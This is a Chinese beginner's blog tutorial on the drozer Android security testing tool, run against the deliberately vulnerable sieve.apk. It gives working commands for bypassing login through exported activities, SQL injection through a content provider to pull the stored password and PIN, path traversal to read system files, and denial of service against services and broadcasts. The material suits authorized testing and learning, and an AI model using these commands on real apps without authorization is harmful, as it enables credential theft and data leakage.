这篇文章主要是对于app组件安全测试工具drozer的一个入门使用介绍,针对初入小白和记性很差的自己-0-

drozer是一款针对Android系统的安全测试工具,分成两个部分:

“console”:运行在本地计算机上,类似于控制台;

“agent”:是一个安装在终端上的代理app。

  • 安装

目前网上的安装步骤很多也很详细,我这边就不多做赘述,只写一些注意点吧,避免踩坑或者找不到。

  1. 运行环境需要python2.7、jdk1.7
  2. PC端和移动端交互时需要adb命令,所以需要安装adb工具

注:adb下载和配置:

SDK Platform Tools 版本说明  |  Android 开发者  |  Android Developers

安装好后可以配置环境变量,这样可以更为方便的使用

直接将配置好的变量名配在Path中,然后检查是否安装和配置成功。

  • 使用

2.1、这里我们用模拟器代替手机来进行app检测,所以将drozer的agent部分安装在模拟器中(类似于安装了个app)。

注:这里向模拟器中安装app可以有两个方法,一个是通过adb命令来安装: adb install 安装包(带路径);另外一个就是直接把要安装的app直接拖到模拟器界面中即可,这点是跟手机端安装有点区别的。

这里还需要一个测试用的apk包:sieve.apk

链接:

百度网盘 请输入提取码 ,提取码:gr12(这里是别人分享的,我自己也用的这个)

2.2、连接夜神模拟器

adb connect 127.0.0.1:62001(夜神模拟器默认端口为62001)

adb devices(查看链接的设备)

 如此说明连接成功。

2.3、PC端运行drozer

drozer目录下运行cmd,然后进行转发并连接

adb forward  tcp:31415  tcp:31415(就是将PC端31415收到的数据转发给终端的agent默认监听的31415端口)

drozer.bat console connect(连接终端agent)

注:1、可能部分人执行连接会报错,大概率可能性是没有把模拟器或者手机端的agent打开

2、终端agent打开后,还要注意转发端口是否已经开启

都准备好后,PC端执行命令,如下表示已经连接成功

  • 实测

3.1、根据app名称得到app的包名

run aap.package.list -f sieve

3.2、查看应用的信息

run aap.package.info -a com.mwr.example.sieve

Application Label: app名称

Process Name: 运行该app的进程名称

Version: 版本号

Data Directory: 该app相关数据的存储路径

APK Path: app真正的package文件所在路径

UID: app关联的用户ID

GID:组ID

Shared Libraries:app使用的共享库

Shared User ID: 可以使用该app的共享用户的ID

Uses Permissions:权限列表

Defines Permissions:自定义权限

3.3、识别攻击面

run app.package.attacksurface com.mwr.example.sieve

根据攻击面检测展示可知四大组件分别有多少是对外暴露的,并且该app是可调试的

3.4、针对暴露位置进行攻击

准备攻击前,先打开sieve这个app,设置下密码和pin值,方便后续的测试。

3.4.1、测试activity的暴露点

Activity暴露容易造成界面绕过等风险。

显示暴露的activity的信息

run app.activity.info -a com.mwr.example.sieve

根据展示的信息,因为该app打开之后需要登陆才可以。但是发现上面展示的除了一个类似登陆的界面以外还有两个界面,并且没有设置权限,由此可能存在绕过登陆的风险。

生成intent中间件尝试拉起PWList和FileSelectActivity两个界面

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity

发现PWList界面是一个存放登陆密码的地方,这样就可以获取登陆密码了。

3.4.2测试provider的暴露点

Provider的暴露容易造成数据库泄露或者SQL注入等风险。

显示暴露的provider的信息

run app.provider.info -a com.mwr.example.sieve

尝试枚举存在的uri

run app.provider.finduri com.mwr.example.sieve

使用扫描枚举可以访问的uri

run scanner.provider.finduris -a com.mwr.example.sieve

根据结果发现可以访问的有三个,逐个尝试访问uri

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

经观察,发现泄露了一些数据。

进行sql注入检查:

扫描器扫描存在注入点的uri

run scanner.provider.injection -a com.mwr.example.sieve

对发现的注入点进行SQL注入尝试

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “’”

根据提示可能存在keys表,尝试查询其中数据

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “* from keys;--”

得到了sieve的登陆界面的密码和设置的PIN码

检测目录遍历:

扫描器扫描存在目录遍历的uri

run scanner.provider.traversal -a com.mwr.example.sieve

检测到存在目录遍历,尝试进行遍历

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../etc/hosts

另外还可以直接下载可遍历的文件

默认是下载到drozer目录下

3.4.3测试service的暴露点

Service的暴露容易导致敏感信息泄露,并可能受到权限提升、拒绝服务等风险

获取app中service详情

run app.service.info -a com.mwr.example.sieve

根据结果发现,service命名表现得像是权限和加密的服务没有设置权限,存在漏洞

尝试与暴露的且没有权限的service做交互

拉起服务

run app.service.start --action com.mwr.example.sieve.AuthService --component com.mwr.example.sieve com.mwr.example.sieve.AuthService

尝试交互传参

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 1 2 3

可见当某些服务对外暴露且没有设置权限就会可能被外部轻易拉起,传入有风险的参数,获取敏感信息或提权,或者一直发送错误参数和请求导致拒绝服务。

3.4.4测试broadcast的暴露点

broadcast的暴露容易导致敏感信息泄露,并可能受到权限绕过、拒绝服务

获取broadcast receivers信息

run app.broadcast.info -a com.mwr.example.sieve

发现该app没有receivers信息,通过反编译该apk检查manifest文件发现确实没有配置

broadcast的风险点跟service类似,如果存在暴露也可以通过发送广播来获取响应

发送广播

run app.broadcast.send --component <package name> <component name> --extra <type> <key> <value>

嗅探广播的数据

run app.broadcast.sniff --action <action>

恶意发送不完整的intent或者空extras广播包导致拒绝服务

un app.broadcast.send --component <package name> <component name>

这边具体由于sieve没有广播组件,所以未展示出来命令执行效果。

结语:这是本人第一次开始总结一些东西,主要是也可以防止自己记性不太好,以后的文章都会尽量写的详细,希望都有用处吧~

Drozer的安装和使用教程(入门)相关推荐

  1. anaconda的python使用教程-Python安装教程之Anaconda入门使用总结

    原标题:Python安装教程之Anaconda入门使用总结 如今参加Python培训学习Python开发的小伙伴对Python安装教程比较感兴趣,本篇文章小编就和读者们分享一下Python安装教程之A ...

  2. centos7 docker安装和使用_入门教程

    centos7 docker安装和使用_入门教程 原文:centos7 docker安装和使用_入门教程 说明:本文也是参考互联网上的文章写的,感谢相关作者的贡献. 操作系统 64位CentOS Li ...

  3. Windows安装Redis 详细教程——《Redis入门》

    Windows安装Redis 详细教程--<Redis入门> Redis windows下载地址:https://github.com/MicrosoftArchive/redis/rel ...

  4. Swoole入门指南:PHP7安装Swoole详细教程(一) 1

    这里不在使用apache做为web server.该用nginx + php-fpm,性能更强大,配置更方便.并且为了跟上php的步伐,也使用了比较新的php版本 [x] centos7 [x] ph ...

  5. python3 [爬虫入门实战]爬虫之scrapy安装与配置教程

    python3 [爬虫入门实战]爬虫之scrapy安装与配置教程 标签: python爬虫scrapy 2017-07-08 15:38 77人阅读 评论(0) 收藏 举报 分类: python3爬虫 ...

  6. 计算机组装在线视频,电脑安装《电脑组装入门教程》(全19集)

    电脑安装<电脑组装入门教程>分为电脑内部安装和外部安装. 电脑硬件的组成及功能: 常见的电脑构成有主机.显示器.键盘.鼠标.音箱.还有打印机和扫描仪,是电脑重要的输出.输入设备. 1.主机 ...

  7. 【python教程入门学习】Python实现自动玩贪吃蛇程序

    这篇文章主要介绍了通过Python实现的简易的自动玩贪吃蛇游戏的小程序,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学一学 实现效果 先看看效果 这比我手动的快多了,而且是单机的,自动玩没惹 ...

  8. 【helloworld】-微信小程序开发教程-入门篇【1】

    1. 开篇导言 本节目标:旨在演示如何用开发者工具构建并运行简单的 helloworld 应用. 目标用户:无编程经验,但对微信小程序感兴趣的同学. 学习目标:开发者工具的基本使用流程,即创建.导入. ...

  9. Vue-cli3配置教程入门

    Vue-cli3配置教程入门 vue-cli3推崇零配置,其图形化项目管理也很高大上. 但是vue-cli3推崇零配置的话,导致了跟之前vue-cli2的配置方式都不一样了. 别名设置,sourcem ...

  10. 加速深度学习在线部署,TensorRT安装及使用教程

    向AI转型的程序员都关注了这个号???????????? 机器学习AI算法工程   公众号:datayx 1 什么是TensorRT 一般的深度学习项目,训练时为了加快速度,会使用多GPU分布式训练. ...

最新文章

  1. 国庆七天学Linux技能,休闲假期不负时光
  2. Python 深度学习,你的 Keras 准备好了吗?
  3. c语言按F1键运行,C语言的编译和运行按什么键
  4. tg2015 信息传递 (洛谷p2661)
  5. MySQL数据库的用户授权_查看权限
  6. JS中数组和字符串具有的方法,以及substring,substr和slice的用法与区别
  7. 微软为开源计算器加入全新的图形功能
  8. C++指针与数组的对比
  9. elisa数据处理过程图解_ELISA操作流程
  10. windows 下杀掉占用端口的程序
  11. 【机器学习数学基础】Mathematics for Machine Learning 梳理+习题答案
  12. matlab积分器的工作原理,[转载]Simulink积分器详解(图)
  13. 交通流特征工程小技巧与思考
  14. 局域网内时间同步配置
  15. Excel如何将两列数据左右调换位置
  16. 欧洲批准最强粒子对撞机计划,造价210亿欧元,全长100公里,耗资巨大引争议...
  17. 微信 公众号 JS接口安全域名 是啥 什么意思
  18. 磊科路由器dns服务器老要修复,路由器dns异常解决方法
  19. 【hadoop生态之ZooKeeper】第三章ZooKeeper内部管理【笔记+代码】
  20. JavaScript奇淫技巧:按键精灵

热门文章

  1. 基于SpringBoot的在线问卷调查管理系统
  2. Linux的DHCP的工作原理
  3. 2019 中科院 信工所二室 夏令营 笔试面试经验
  4. MATLAB/Simulink 基础入门讲解(一)
  5. wso2 esb 配置mysql_WSO2企业服务总线(WSO2 ESB)介绍
  6. lora终端连接云服务器_云服务器如何连接LoRa网关
  7. php根据经纬度获取地理位置
  8. 计算机开不了演示文稿ppt,电脑打不开ppt了怎么办
  9. PLSQL 官方下载及安装
  10. PLSQL官网下载地址